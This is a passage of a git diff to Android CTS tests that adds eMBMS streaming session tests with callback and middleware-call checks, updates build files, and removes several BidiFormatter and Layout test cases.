+        public SomeArgs waitOnBroadcastSignalStrengthUpdated() {
+            try {
+                return mBroadcastSignalStrengthUpdatedCalls.poll(
+                        ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnStreamMethodUpdated() {
+            try {
+                return mStreamMethodUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+    }
+
+    private TestStreamingServiceCallback mStreamingServiceCallback =
+            new TestStreamingServiceCallback();
+
+    public void testStartStreaming() throws Exception {
+        StreamingService streamingService = mStreamingSession.startStreaming(
+                CtsStreamingService .STREAMING_SERVICE_INFO,
+                mStreamingServiceCallback, mCallbackHandler);
+        assertNotNull(streamingService);
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO, streamingService.getInfo());
+
+        SomeArgs args = mStreamingServiceCallback.waitOnStreamStateUpdated();
+        assertEquals(StreamingService.STATE_STARTED, args.arg1);
+        assertEquals(StreamingService.REASON_BY_USER_REQUEST, args.arg2);
+
+        List<List<Object>> startStreamingCalls =
+                getMiddlewareCalls(CtsStreamingService.METHOD_START_STREAMING);
+        assertEquals(1, startStreamingCalls.size());
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
+                startStreamingCalls.get(0).get(2));
+    }
+
+    public void testGetPlaybackUri() throws Exception {
+        StreamingService streamingService = mStreamingSession.startStreaming(
+                CtsStreamingService .STREAMING_SERVICE_INFO,
+                mStreamingServiceCallback, mCallbackHandler);
+        assertEquals(CtsStreamingService.STREAMING_URI, streamingService.getPlaybackUri());
+
+        List<List<Object>> getPlaybackUriCalls =
+                getMiddlewareCalls(CtsStreamingService.METHOD_GET_PLAYBACK_URI);
+        assertEquals(1, getPlaybackUriCalls.size());
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
+                getPlaybackUriCalls.get(0).get(2));
+    }
+
+    public void testStopStreaming() throws Exception {
+        StreamingService streamingService = mStreamingSession.startStreaming(
+                CtsStreamingService .STREAMING_SERVICE_INFO,
+                mStreamingServiceCallback, mCallbackHandler);
+        streamingService.stopStreaming();
+        List<List<Object>> stopStreamingCalls =
+                getMiddlewareCalls(CtsStreamingService.METHOD_STOP_STREAMING);
+        assertEquals(1, stopStreamingCalls.size());
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO.getServiceId(),
+                stopStreamingCalls.get(0).get(2));
+    }
+
+    public void testStreamingCallbacks() throws Exception {
+        mStreamingSession.startStreaming(
+                CtsStreamingService .STREAMING_SERVICE_INFO,
+                mStreamingServiceCallback, mCallbackHandler);
+
+        mMiddlewareControl.fireErrorOnStream(
+                MbmsErrors.StreamingErrors.ERROR_UNABLE_TO_START_SERVICE, "");
+        assertEquals(MbmsErrors.StreamingErrors.ERROR_UNABLE_TO_START_SERVICE,
+                mStreamingServiceCallback.waitOnError().arg1);
+
+        mMiddlewareControl.fireOnMediaDescriptionUpdated();
+        assertNotNull(mStreamingServiceCallback.waitOnMediaDescriptionUpdated());
+
+        int broadcastSignalStrength = 3;
+        mMiddlewareControl.fireOnBroadcastSignalStrengthUpdated(broadcastSignalStrength);
+        assertEquals(broadcastSignalStrength,
+                mStreamingServiceCallback.waitOnBroadcastSignalStrengthUpdated().arg1);
+
+        mMiddlewareControl.fireOnStreamMethodUpdated(StreamingService.BROADCAST_METHOD);
+        assertEquals(StreamingService.BROADCAST_METHOD,
+                mStreamingServiceCallback.waitOnStreamMethodUpdated().arg1);
+    }
+
+    public void testStartStreamingFailure() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mStreamingSession.startStreaming(CtsStreamingService.STREAMING_SERVICE_INFO,
+                mStreamingServiceCallback, mCallbackHandler);
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
new file mode 100644
index 0000000..92b3fc9
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingSessionTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.telephony.MbmsStreamingSession;
+import android.telephony.cts.embmstestapp.CtsStreamingService;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.StreamingServiceInfo;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+public class MbmsStreamingSessionTest extends MbmsStreamingTestBase {
+    public void testDuplicateSession() throws Exception {
+        try {
+            MbmsStreamingSession failure = MbmsStreamingSession.create(
+                    mContext, mCallback, mCallbackHandler);
+            fail("Duplicate create should've thrown an exception");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+    }
+
+    public void testRequestUpdateStreamingServices() throws Exception {
+        List<String> testClasses = Arrays.asList("class1", "class2");
+        mStreamingSession.requestUpdateStreamingServices(testClasses);
+
+        // Make sure we got the streaming services
+        List<StreamingServiceInfo> serviceInfos =
+                (List<StreamingServiceInfo>) mCallback.waitOnStreamingServicesUpdated().arg1;
+        assertEquals(CtsStreamingService.STREAMING_SERVICE_INFO, serviceInfos.get(0));
+        assertEquals(0, mCallback.getNumErrorCalls());
+
+        // Make sure the middleware got the call with the right args
+        List<List<Object>> requestStreamingServicesCalls =
+                getMiddlewareCalls(CtsStreamingService.METHOD_REQUEST_UPDATE_STREAMING_SERVICES);
+        assertEquals(1, requestStreamingServicesCalls.size());
+        assertEquals(3, requestStreamingServicesCalls.get(0).size());
+        List<String> middlewareReceivedServiceClasses =
+                (List<String>) requestStreamingServicesCalls.get(0).get(2);
+        assertEquals(testClasses.size(), middlewareReceivedServiceClasses.size());
+        for (int i = 0; i < testClasses.size(); i++) {
+            assertEquals(testClasses.get(i), middlewareReceivedServiceClasses.get(i));
+        }
+    }
+
+    public void testClose() throws Exception {
+        mStreamingSession.close();
+
+        // Make sure we can't use it anymore
+        try {
+            mStreamingSession.requestUpdateStreamingServices(Collections.emptyList());
+            fail("Streaming session should not be usable after close");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+
+        // Make sure that the middleware got the call to close
+        List<List<Object>> closeCalls = getMiddlewareCalls(CtsStreamingService.METHOD_CLOSE);
+        assertEquals(1, closeCalls.size());
+    }
+
+    public void testErrorDelivery() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mStreamingSession.requestUpdateStreamingServices(Collections.emptyList());
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
new file mode 100644
index 0000000..be06109
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingTestBase.java
@@ -0,0 +1,150 @@
+package android.telephony.embms.cts;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.MbmsStreamingSession;
+import android.telephony.cts.embmstestapp.CtsStreamingService;
+import android.telephony.cts.embmstestapp.ICtsStreamingMiddlewareControl;
+import android.telephony.mbms.MbmsStreamingSessionCallback;
+import android.telephony.mbms.StreamingServiceInfo;
+import android.test.InstrumentationTestCase;
+
+import com.android.internal.os.SomeArgs;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+public class MbmsStreamingTestBase extends InstrumentationTestCase {
+    protected static final int ASYNC_TIMEOUT = 10000;
+
+    protected static class TestCallback extends MbmsStreamingSessionCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mStreamingServicesUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mMiddlewareReadyCalls = new LinkedBlockingQueue<>();
+        private int mNumErrorCalls = 0;
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            mNumErrorCalls += 1;
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onStreamingServicesUpdated(List<StreamingServiceInfo> services) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = services;
+            mStreamingServicesUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onMiddlewareReady() {
+            mMiddlewareReadyCalls.add(SomeArgs.obtain());
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnStreamingServicesUpdated() {
+            try {
+                return mStreamingServicesUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public boolean waitOnMiddlewareReady() {
+            try {
+                return mMiddlewareReadyCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS) != null;
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public int getNumErrorCalls() {
+            return mNumErrorCalls;
+        }
+    }
+
+    Context mContext;
+    HandlerThread mHandlerThread;
+    Handler mCallbackHandler;
+    ICtsStreamingMiddlewareControl mMiddlewareControl;
+    MbmsStreamingSession mStreamingSession;
+    TestCallback mCallback = new TestCallback();
+
+    @Override
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getContext();
+        mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
+        mHandlerThread.start();
+        mCallbackHandler = new Handler(mHandlerThread.getLooper());
+        getControlBinder();
+        setupStreamingSession();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mHandlerThread.quit();
+        mStreamingSession.close();
+        mMiddlewareControl.reset();
+    }
+
+    private void setupStreamingSession() throws Exception {
+        mStreamingSession = MbmsStreamingSession.create(
+                mContext, mCallback, mCallbackHandler);
+        assertNotNull(mStreamingSession);
+        assertTrue(mCallback.waitOnMiddlewareReady());
+        assertEquals(0, mCallback.getNumErrorCalls());
+        List initializeCall = (List) mMiddlewareControl.getStreamingSessionCalls().get(0);
+        assertEquals(CtsStreamingService.METHOD_INITIALIZE, initializeCall.get(0));
+    }
+
+    private void getControlBinder() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsStreamingService.CONTROL_INTERFACE_ACTION);
+        bindIntent.setComponent(CtsStreamingService.CONTROL_INTERFACE_COMPONENT);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                mMiddlewareControl = ICtsStreamingMiddlewareControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mMiddlewareControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+    }
+
+    protected List<List<Object>> getMiddlewareCalls(String methodName) throws RemoteException {
+        return ((List<List<Object>>) mMiddlewareControl.getStreamingSessionCalls()).stream()
+                .filter((elem) -> elem.get(0).equals(methodName))
+                .collect(Collectors.toList());
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
index 3ba6018..bae1dfa 100644
--- a/tests/tests/telephony2/Android.mk
+++ b/tests/tests/telephony2/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_PACKAGE_NAME := CtsTelephony2TestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_JAVA_LIBRARIES += android.test.runner
 
diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
index 2210cbd..c769bb1 100644
--- a/tests/tests/text/Android.mk
+++ b/tests/tests/text/Android.mk
@@ -35,9 +35,9 @@
 LOCAL_PACKAGE_NAME := CtsTextTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-# uncomment when dalvik.annotation.Test* are removed or part of SDK
-#LOCAL_SDK_VERSION := current
+# Enforce public / test api only
+LOCAL_SDK_VERSION := test_current
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
index bf0d14e..d5277f5 100644
--- a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
+++ b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
@@ -94,52 +94,6 @@
     }
 
     @Test
-    public void testMarkAfter() {
-        assertEquals("uniform dir matches LTR context",
-                "", LTR_FMT.markAfter(EN, TextDirectionHeuristics.LTR));
-        assertEquals("uniform dir matches RTL context",
-                "", RTL_FMT.markAfter(HE, TextDirectionHeuristics.RTL));
-
-        assertEquals("exit dir opposite to LTR context",
-                LRM, LTR_FMT.markAfter(EN + HE, TextDirectionHeuristics.LTR));
-        assertEquals("exit dir opposite to RTL context",
-                RLM, RTL_FMT.markAfter(HE + EN, TextDirectionHeuristics.RTL));
-
-        assertEquals("overall dir (but not exit dir) opposite to LTR context",
-                LRM, LTR_FMT.markAfter(HE + EN, TextDirectionHeuristics.RTL));
-        assertEquals("overall dir (but not exit dir) opposite to RTL context",
-                RLM, RTL_FMT.markAfter(EN + HE, TextDirectionHeuristics.LTR));
-
-        assertEquals("exit dir neutral, overall dir matches LTR context",
-                "", LTR_FMT.markAfter(".", TextDirectionHeuristics.LTR));
-        assertEquals("exit dir neutral, overall dir matches RTL context",
-                "", RTL_FMT.markAfter(".", TextDirectionHeuristics.RTL));
-    }
-
-    @Test
-    public void testMarkBefore() {
-        assertEquals("uniform dir matches LTR context",
-                "", LTR_FMT.markBefore(EN, TextDirectionHeuristics.LTR));
-        assertEquals("uniform dir matches RTL context",
-                "", RTL_FMT.markBefore(HE, TextDirectionHeuristics.RTL));
-
-        assertEquals("entry dir opposite to LTR context",
-                LRM, LTR_FMT.markBefore(HE + EN, TextDirectionHeuristics.LTR));
-        assertEquals("entry dir opposite to RTL context",
-                RLM, RTL_FMT.markBefore(EN + HE, TextDirectionHeuristics.RTL));
-
-        assertEquals("overall dir (but not entry dir) opposite to LTR context",
-                LRM, LTR_FMT.markBefore(EN + HE, TextDirectionHeuristics.RTL));
-        assertEquals("overall dir (but not entry dir) opposite to RTL context",
-                RLM, RTL_FMT.markBefore(HE + EN, TextDirectionHeuristics.LTR));
-
-        assertEquals("exit dir neutral, overall dir matches LTR context",
-                "", LTR_FMT.markBefore(".", TextDirectionHeuristics.LTR));
-        assertEquals("exit dir neutral, overall dir matches RTL context",
-                "", RTL_FMT.markBefore(".", TextDirectionHeuristics.RTL));
-    }
-
-    @Test
     public void testUnicodeWrap() {
         // Make sure an input of null doesn't crash anything.
         assertNull(LTR_FMT.unicodeWrap(null));
diff --git a/tests/tests/text/src/android/text/cts/LayoutTest.java b/tests/tests/text/src/android/text/cts/LayoutTest.java
index 6b6c4fc..d6cd89c 100644
--- a/tests/tests/text/src/android/text/cts/LayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/LayoutTest.java
@@ -17,281 +17,19 @@
 package android.text.cts;
 
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Paint;
-import android.graphics.Path;
-import android.graphics.Rect;
-import android.graphics.RectF;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.text.Layout;
-import android.text.Layout.Alignment;
-import android.text.Spannable;
-import android.text.SpannableString;
 import android.text.TextPaint;
-import android.text.style.StrikethroughSpan;
 
-import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.ArrayList;
-import java.util.List;
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class LayoutTest {
-    private final static int LINE_COUNT = 5;
-    private final static int LINE_HEIGHT = 12;
-    private final static int LINE_DESCENT = 4;
-    private final static CharSequence LAYOUT_TEXT = "alwei\t;sdfs\ndf @";
-
-    private int mWidth;
-    private Layout.Alignment mAlign;
-    private float mSpacingMult;
-    private float mSpacingAdd;
-    private SpannableString mSpannedText;
-
-    private TextPaint mTextPaint;
-
-    @Before
-    public void setup() {
-        mTextPaint = new TextPaint();
-        mSpannedText = new SpannableString(LAYOUT_TEXT);
-        mSpannedText.setSpan(new StrikethroughSpan(), 0, 1, Spannable.SPAN_INCLUSIVE_EXCLUSIVE);
-        mWidth = 11;
-        mAlign = Alignment.ALIGN_CENTER;
-        mSpacingMult = 1;
-        mSpacingAdd = 2;
-    }
-
-    @Test
-    public void testConstructor() {
-        new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, mSpacingAdd);
-    }
-
-    @Test(expected=IllegalArgumentException.class)
-    public void testConstructorNull() {
-        new MockLayout(null, null, -1, null, 0, 0);
-    }
-
-    @Test
-    public void testGetText() {
-        CharSequence text = "test case 1";
-        Layout layout = new MockLayout(text, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(text, layout.getText());
-
-        layout = new MockLayout(null, mTextPaint, mWidth, mAlign, mSpacingMult, mSpacingAdd);
-        assertNull(layout.getText());
-    }
-
-    @Test
-    public void testGetPaint() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-
-        assertSame(mTextPaint, layout.getPaint());
-
-        layout = new MockLayout(LAYOUT_TEXT, null, mWidth, mAlign, mSpacingMult, mSpacingAdd);
-        assertNull(layout.getPaint());
-    }
-
-    @Test
-    public void testGetWidth() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 10,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(10,  layout.getWidth());
-
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(0,  layout.getWidth());
-    }
-
-    @Test
-    public void testGetEllipsizedWidth() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 15,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(15, layout.getEllipsizedWidth());
-
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(0,  layout.getEllipsizedWidth());
-    }
-
-    @Test
-    public void testIncreaseWidthTo() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        int oldWidth = layout.getWidth();
-
-        layout.increaseWidthTo(oldWidth);
-        assertEquals(oldWidth, layout.getWidth());
-
-        try {
-            layout.increaseWidthTo(oldWidth - 1);
-            fail("should throw runtime exception attempted to reduce Layout width");
-        } catch (RuntimeException e) {
-        }
-
-        layout.increaseWidthTo(oldWidth + 1);
-        assertEquals(oldWidth + 1, layout.getWidth());
-    }
-
-    @Test
-    public void testGetHeight() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(60, layout.getHeight());
-    }
-
-    @Test
-    public void testGetAlignment() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertSame(mAlign, layout.getAlignment());
-
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, null, mSpacingMult, mSpacingAdd);
-        assertNull(layout.getAlignment());
-    }
-
-    @Test
-    public void testGetSpacingMultiplier() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, -1, mSpacingAdd);
-        assertEquals(-1.0f, layout.getSpacingMultiplier(), 0.0f);
-
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, 5, mSpacingAdd);
-        assertEquals(5.0f, layout.getSpacingMultiplier(), 0.0f);
-    }
-
-    @Test
-    public void testGetSpacingAdd() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, -1);
-        assertEquals(-1.0f, layout.getSpacingAdd(), 0.0f);
-
-        layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, 20);
-        assertEquals(20.0f, layout.getSpacingAdd(), 0.0f);
-    }
-
-    @Test
-    public void testGetLineBounds() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        Rect bounds = new Rect();
-
-        assertEquals(32, layout.getLineBounds(2, bounds));
-        assertEquals(0, bounds.left);
-        assertEquals(mWidth, bounds.right);
-        assertEquals(24, bounds.top);
-        assertEquals(36, bounds.bottom);
-    }
-
-    @Test
-    public void testGetLineForVertical() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(0, layout.getLineForVertical(-1));
-        assertEquals(0, layout.getLineForVertical(0));
-        assertEquals(0, layout.getLineForVertical(LINE_COUNT));
-        assertEquals(LINE_COUNT - 1, layout.getLineForVertical(1000));
-    }
-
-    @Test
-    public void testGetLineForOffset() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(0, layout.getLineForOffset(-1));
-        assertEquals(1, layout.getLineForOffset(1));
-        assertEquals(LINE_COUNT - 1, layout.getLineForOffset(LINE_COUNT - 1));
-        assertEquals(LINE_COUNT - 1, layout.getLineForOffset(1000));
-    }
-
-    @Test
-    public void testGetLineEnd() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(2, layout.getLineEnd(1));
-    }
-
-    @Test
-    public void testGetLineVisibleEnd() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-
-        assertEquals(2, layout.getLineVisibleEnd(1));
-        assertEquals(LINE_COUNT, layout.getLineVisibleEnd(LINE_COUNT - 1));
-        assertEquals(LAYOUT_TEXT.length(), layout.getLineVisibleEnd(LAYOUT_TEXT.length() - 1));
-        try {
-            layout.getLineVisibleEnd(LAYOUT_TEXT.length());
-            fail("should throw .StringIndexOutOfBoundsException here");
-        } catch (StringIndexOutOfBoundsException e) {
-        }
-    }
-
-    @Test
-    public void testGetLineBottom() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(LINE_HEIGHT, layout.getLineBottom(0));
-    }
-
-    @Test
-    public void testGetLineBaseline() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(8, layout.getLineBaseline(0));
-    }
-
-    @Test
-    public void testGetLineAscent() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(-8, layout.getLineAscent(0));
-    }
-
-    @Test
-    public void testGetParagraphAlignment() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertSame(mAlign, layout.getParagraphAlignment(0));
-
-        layout = new MockLayout(mSpannedText, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertSame(mAlign, layout.getParagraphAlignment(0));
-        assertSame(mAlign, layout.getParagraphAlignment(1));
-    }
-
-    @Test
-    public void testGetParagraphLeft() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(0, layout.getParagraphLeft(0));
-    }
-
-    @Test
-    public void testGetParagraphRight() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertEquals(mWidth, layout.getParagraphRight(0));
-    }
-
-    @Test
-    public void testIsSpanned() {
-        MockLayout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        // default is not spanned text
-        assertFalse(layout.mockIsSpanned());
-
-        // try to create a spanned text
-        layout = new MockLayout(mSpannedText, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        assertTrue(layout.mockIsSpanned());
-    }
 
     @Test
     public void testGetDesiredWidthRange() {
@@ -322,181 +60,4 @@
         assertTrue(widthLonger > widthShort);
         assertTrue(widthLongest > widthLonger);
     }
-
-    private static final class MockLayout extends Layout {
-        public MockLayout(CharSequence text, TextPaint paint, int width,
-                Alignment align, float spacingmult, float spacingadd) {
-            super(text, paint, width, align, spacingmult, spacingadd);
-        }
-
-        protected boolean mockIsSpanned() {
-            return super.isSpanned();
-        }
-
-        @Override
-        public int getBottomPadding() {
-            return 0;
-        }
-
-        @Override
-        public int getEllipsisCount(int line) {
-            return 0;
-        }
-
-        @Override
-        public int getEllipsisStart(int line) {
-            return 0;
-        }
-
-        @Override
-        public boolean getLineContainsTab(int line) {
-            return false;
-        }
-
-        @Override
-        public int getLineCount() {
-            return LINE_COUNT;
-        }
-
-        @Override
-        public int getLineDescent(int line) {
-            return LINE_DESCENT;
-        }
-
-        @Override
-        public Directions getLineDirections(int line) {
-            return Layout.DIRS_ALL_LEFT_TO_RIGHT;
-        }
-
-        @Override
-        public int getLineStart(int line) {
-            if (line < 0) {
-                return 0;
-            }
-            return line;
-        }
-
-        @Override
-        public int getLineTop(int line) {
-            if (line < 0) {
-                return 0;
-            }
-            return LINE_HEIGHT * (line);
-        }
-
-        @Override
-        public int getParagraphDirection(int line) {
-            return 0;
-        }
-
-        @Override
-        public int getTopPadding() {
-            return 0;
-        }
-    }
-
-    @Test
-    public void testGetLineWidth() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        for (int i = 0; i < LINE_COUNT; i++) {
-            int start = layout.getLineStart(i);
-            int end = layout.getLineEnd(i);
-            String text = LAYOUT_TEXT.toString().substring(start, end);
-            assertEquals(mTextPaint.measureText(text), layout.getLineWidth(i), 1.0f);
-        }
-    }
-
-    @Test
-    public void testGetCursorPath() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        Path path = new Path();
-        final float epsilon = 1.0f;
-        for (int i = 0; i < LINE_COUNT; i++) {
-            layout.getCursorPath(i, path, LAYOUT_TEXT);
-            RectF bounds = new RectF();
-            path.computeBounds(bounds, false);
-            assertTrue(bounds.top >= layout.getLineTop(i) - epsilon);
-            assertTrue(bounds.bottom <= layout.getLineBottom(i) + epsilon);
-        }
-    }
-
-    @Test
-    public void testDraw() {
-        Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
-                mAlign, mSpacingMult, mSpacingAdd);
-        final int width = 256;
-        final int height = 256;
-        MockCanvas c = new MockCanvas(width, height);
-        layout.draw(c);
-        List<MockCanvas.DrawCommand> drawCommands = c.getDrawCommands();
-        assertEquals(LINE_COUNT, drawCommands.size());
-        for (int i = 0; i < LINE_COUNT; i++) {
-            MockCanvas.DrawCommand drawCommand = drawCommands.get(i);
-            int start = layout.getLineStart(i);
-            int end = layout.getLineEnd(i);
-            assertEquals(LAYOUT_TEXT.toString().substring(start, end), drawCommand.text);
-            float expected_y = (i + 1) * LINE_HEIGHT - LINE_DESCENT;
-            assertEquals(expected_y, drawCommand.y, 0.0f);
-        }
-    }
-
-    private final class MockCanvas extends Canvas {
-
-        class DrawCommand {
-            final String text;
-            final float x;
-            final float y;
-
-            DrawCommand(String text, float x, float y) {
-                this.text = text;
-                this.x = x;
-                this.y = y;
-            }
-        }
-
